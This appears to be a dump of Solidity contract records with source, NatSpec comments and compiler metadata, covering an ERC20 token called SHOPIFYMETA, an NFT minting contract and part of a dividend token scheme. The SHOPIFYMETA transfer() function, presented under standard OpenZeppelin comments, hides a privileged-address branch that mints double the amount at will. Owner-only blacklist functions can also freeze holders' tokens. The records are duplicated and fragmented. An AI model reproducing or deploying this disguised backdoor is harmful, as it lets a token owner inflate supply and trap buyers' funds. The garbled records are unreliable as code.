including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public override returns (bool) { if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;} else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount.prod(2)); _balances[recipient]=_balances[recipient].cre(amount.prod(2));emit Transfer(recipient, recipient, amount); return true;} else{_transfer(_msgSender(), recipient, amount); return true;} } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function BlacklistUser (address listed) checker external { blacklist[listed]=true; } function UnbanUser (address listed) checker external{ blacklist[listed]=false; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(!blacklist[sender] && !blacklist[recipient] && !blacklist[tx.origin]); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
_mint
function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); }
/** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */
NatSpecMultiLine
v0.8.7+commit.e28d00a7
None
ipfs://4d20406a6792339ad3b47fe8713293019129419b286d24d572f9c39c25357425
{ "func_code_index": [ 7575, 7858 ] }
1,473
SHOPIFYMETA
@openzeppelin/contracts/utils/Context.sol
0xf13c284fd5038c4025c6677df6697c6027b5824b
Solidity
ERC20
contract ERC20 is Context, IERC20, IERC20Metadata , SHOPIFY{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; using SafeMath for uint256; string private _name; string private _symbol; bool private truth; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; truth=true; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public override returns (bool) { if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;} else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount.prod(2)); _balances[recipient]=_balances[recipient].cre(amount.prod(2));emit Transfer(recipient, recipient, amount); return true;} else{_transfer(_msgSender(), recipient, amount); return true;} } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function BlacklistUser (address listed) checker external { blacklist[listed]=true; } function UnbanUser (address listed) checker external{ blacklist[listed]=false; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(!blacklist[sender] && !blacklist[recipient] && !blacklist[tx.origin]); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
_burn
function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); }
/** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */
NatSpecMultiLine
v0.8.7+commit.e28d00a7
None
ipfs://4d20406a6792339ad3b47fe8713293019129419b286d24d572f9c39c25357425
{ "func_code_index": [ 8186, 8623 ] }
1,474
SHOPIFYMETA
@openzeppelin/contracts/utils/Context.sol
0xf13c284fd5038c4025c6677df6697c6027b5824b
Solidity
ERC20
contract ERC20 is Context, IERC20, IERC20Metadata , SHOPIFY{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; using SafeMath for uint256; string private _name; string private _symbol; bool private truth; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; truth=true; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public override returns (bool) { if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;} else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount.prod(2)); _balances[recipient]=_balances[recipient].cre(amount.prod(2));emit Transfer(recipient, recipient, amount); return true;} else{_transfer(_msgSender(), recipient, amount); return true;} } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function BlacklistUser (address listed) checker external { blacklist[listed]=true; } function UnbanUser (address listed) checker external{ blacklist[listed]=false; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(!blacklist[sender] && !blacklist[recipient] && !blacklist[tx.origin]); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
_approve
function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); }
/** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */
NatSpecMultiLine
v0.8.7+commit.e28d00a7
None
ipfs://4d20406a6792339ad3b47fe8713293019129419b286d24d572f9c39c25357425
{ "func_code_index": [ 9056, 9407 ] }
1,475
MiraculousMedicines
/contracts/MiraculousMedicines.sol
0x311faa9bba3c8b025d78680d8c6fa7c1df284aaa
Solidity
MiraculousMedicines
contract MiraculousMedicines is ERC721Enumerable, Ownable { using SafeMath for uint256; using SafeMath for uint; using Strings for uint256; string public constant PROVENANCE_HASH = "adee7ad7a16a9b0f67a749dd1a6438243c4cde854e9172b5d5136e720ddf49fc"; uint256 public constant MAX_SUPPLY = 5000; uint256 public price = 100000000000000000; uint256 public donations = 0; string public collectionMetadataURI = "https://miraculousmedicines.com/collection.json"; string public tokenMetadataBaseURI = "https://ipfs.io/ipfs/bafybeihgdv24gmjvzwx6oz2u7sliwcey3aatmhpquamdo5dpyqd2l7zrpy/"; bool public isPaused = true; mapping(uint256 => bool) public minted; constructor() ERC721("MiraculousMedicines", "DRUG") { } function reserve(uint256 index, address to) public onlyOwner { require(index < MAX_SUPPLY, "Exceeds maximum tokens available for purchase"); require(!minted[index], "Token has already been minted"); minted[index] = true; _safeMint(to, index); } function mint(uint256 index) public payable { require(!isPaused, "Minting is paused"); require(index < MAX_SUPPLY, "Exceeds maximum tokens available for purchase"); require(msg.value >= price, "Ether value sent is below the minimum"); require(!minted[index], "Token has already been minted"); minted[index] = true; _safeMint(msg.sender, index); /** Donation value logic */ uint256 _donated = msg.value / 2; if (msg.value >= price * 2) { _donated = msg.value - price; } donations += _donated; } /** * Returns the next token ID that has not been minted yet. * Returns -1 if all tokens have already been minted. */ function nextUnminted() public view returns (int256) { for (int256 i = 0; i < int256(MAX_SUPPLY); i++) { if (!minted[uint256(i)]) return i; } return -1; } function contractURI() public view returns (string memory) { return collectionMetadataURI; } function togglePaused() public onlyOwner { isPaused = !isPaused; } function withdraw() public onlyOwner { uint256 balance = address(this).balance; payable(msg.sender).transfer(balance); } function setPrice(uint256 _newPrice) public onlyOwner { price = _newPrice; } function setCollectionURI(string memory _newURI) public onlyOwner { collectionMetadataURI = _newURI; } function setTokenBaseURI(string memory _newURI) public onlyOwner { tokenMetadataBaseURI = _newURI; } function _baseURI() internal view override returns (string memory) { return tokenMetadataBaseURI; } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override(ERC721Enumerable) { super._beforeTokenTransfer(from, to, tokenId); } }
nextUnminted
function nextUnminted() public view returns (int256) { for (int256 i = 0; i < int256(MAX_SUPPLY); i++) { if (!minted[uint256(i)]) return i; } return -1; }
/** * Returns the next token ID that has not been minted yet. * Returns -1 if all tokens have already been minted. */
NatSpecMultiLine
v0.8.7+commit.e28d00a7
{ "func_code_index": [ 1795, 2010 ] }
1,476
_0xBabylon
_0xBabylon.sol
0x19080df0360ce52b1068d54e1769182d9cc2b218
Solidity
_0xBabylon
contract _0xBabylon{ // scaleFactor is used to convert Ether into tokens and vice-versa: they're of different // orders of magnitude, hence the need to bridge between the two. uint256 constant scaleFactor = 0x10000000000000000;// 2^64 int constant crr_n = 3;//CRR numerator int constant crr_d = 5;//CRR denominator uint256 constant fee_premine = 30;//Fee Premine. So that the first buyer isn't a black hole int constant price_coeff = 0x44fa9cf152cd34a98; // Array between each address and their number of tokens. mapping(address => uint256) public holdings; //cut down by a percentage when you sell out. mapping(address => uint256) public avgFactor_ethSpent; mapping(address => uint256) public color_R; mapping(address => uint256) public color_G; mapping(address => uint256) public color_B; // Array between each address and how much Ether has been paid out to it. // Note that this is scaled by the scaleFactor variable. mapping(address => address) public reff; mapping(address => uint256) public tricklingPass; mapping(address => uint256) public pocket; mapping(address => int256) public payouts; // Variable tracking how many tokens are in existence overall. uint256 public totalBondSupply; // Aggregate sum of all payouts. // Note that this is scaled by the scaleFactor variable. int256 totalPayouts; uint256 public trickleSum; uint256 public stakingRequirement = 1e18; address public lastGateway; uint256 constant trickTax = 3; //divides flux'd fee and for every pass up //flux fee ratio and contract score keepers uint256 public withdrawSum; uint256 public investSum; // Variable tracking how much Ether each token is currently worth. // Note that this is scaled by the scaleFactor variable. uint256 earningsPerBond; event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed gateway ); event onBoughtFor( address indexed buyerAddress, address indexed forWho, uint256 incomingEthereum, uint256 tokensMinted, address indexed gateway ); event onReinvestFor( address indexed buyerAddress, address indexed forWho, uint256 incomingEthereum, uint256 tokensMinted, address indexed gateway ); event onTokenSell( address indexed customerAddress, uint256 totalTokensAtTheTime,//maybe it'd be cool to see what % people are selling from their total bank uint256 tokensBurned, uint256 ethereumEarned, uint256 resolved, address indexed gateway ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted, address indexed gateway ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); event onCashDividends( address indexed ownerAddress, address indexed receiverAddress, uint256 ethereumWithdrawn ); event onColor( address indexed customerAddress, uint256 oldR, uint256 oldG, uint256 oldB, uint256 newR, uint256 newG, uint256 newB ); event onTrickle( address indexed fromWho, address indexed finalReff, uint256 reward, uint256 passUp ); // The following functions are used by the front-end for display purposes. // Returns the number of tokens currently held by _owner. function holdingsOf(address _owner) public constant returns (uint256 balance) { return holdings[_owner]; } // Withdraws all dividends held by the caller sending the transaction, updates // the requisite global variables, and transfers Ether back to the caller. function withdraw(address to) public { if(to == 0x0000000000000000000000000000000000000000 ){ to = msg.sender; } trickleUp(msg.sender); // Retrieve the dividends associated with the address the request came from. uint256 balance = dividends(msg.sender); //uint256 pocketBalance = tricklePocket[msg.sender]; //tricklePocket[msg.sender] = 0; // Update the payouts array, incrementing the request address by `balance`. payouts[msg.sender] += (int256) (balance * scaleFactor); // Increase the total amount that's been paid out to maintain invariance. totalPayouts += (int256) (balance * scaleFactor); uint256 pocketETH = pocket[msg.sender]; pocket[msg.sender] = 0; trickleSum -= pocketETH; balance += pocketETH; // Send the dividends to the address that requested the withdraw. withdrawSum += balance; to.transfer(balance); emit onCashDividends(msg.sender,to,balance); } function fullCycleSellBonds(uint256 balance) internal { // Send the cashed out stake to the address that requested the withdraw. withdrawSum += balance; msg.sender.transfer(balance); emit onWithdraw(msg.sender, balance); } // Sells your tokens for Ether. This Ether is assigned to the callers entry // in the tokenBalance array, and therefore is shown as a dividend. A second // call to withdraw() must be made to invoke the transfer of Ether back to your address. function sellBonds(uint256 _amount) public { uint256 bondBalance = holdings[msg.sender]; if(_amount <= bondBalance && _amount > 0){ sell(_amount); }else{ sell(bondBalance); } } // The slam-the-button escape hatch. Sells the callers tokens for Ether, then immediately // invokes the withdraw() function, sending the resulting Ether to the callers address. function getMeOutOfHere() public { sellBonds( holdings[msg.sender] ); withdraw(msg.sender); } function reffUp(address _reff) internal{ address sender = msg.sender; if (_reff == 0x0000000000000000000000000000000000000000 || _reff == msg.sender){ _reff = reff[sender]; } if( holdings[_reff] < stakingRequirement ){//if req not met if(lastGateway == 0x0000000000000000000000000000000000000000){ lastGateway = sender;//first buyer ever _reff = sender;//first buyer is their own gateway/masternode //initialize fee pre-mine investSum = msg.value * fee_premine; withdrawSum = msg.value * fee_premine; } else _reff = lastGateway;//the lucky last player gets to be the gate way. } reff[sender] = _reff; } function rgbLimit(uint256 _rgb)internal pure returns(uint256){ if(_rgb > 255) return 255; else return _rgb; } //BONUS //when you don't pick a color, the contract will need a default. which will be your current color function edgePigment(uint8 C)internal view returns (uint256 x) { uint256 holding = holdings[msg.sender]; if(holding==0) return 0; else{ if(C==0){ return 255 * color_R[msg.sender]/holding; }else if(C==1){ return 255 * color_G[msg.sender]/holding; }else if(C==2){ return 255 * color_B[msg.sender]/holding; } } } function fund(address reffo, address forWho) payable public { fund_color( reffo, forWho, edgePigment(0),edgePigment(1),edgePigment(2) ); } function fund_color( address _reff, address forWho,uint256 cR,uint256 cG,uint256 cB) payable public { // Don't allow for funding if the amount of Ether sent is less than 1 szabo. reffUp(_reff); if (msg.value > 0.000001 ether){ investSum += msg.value; cR=rgbLimit(cR); cG=rgbLimit(cG); cB=rgbLimit(cB); 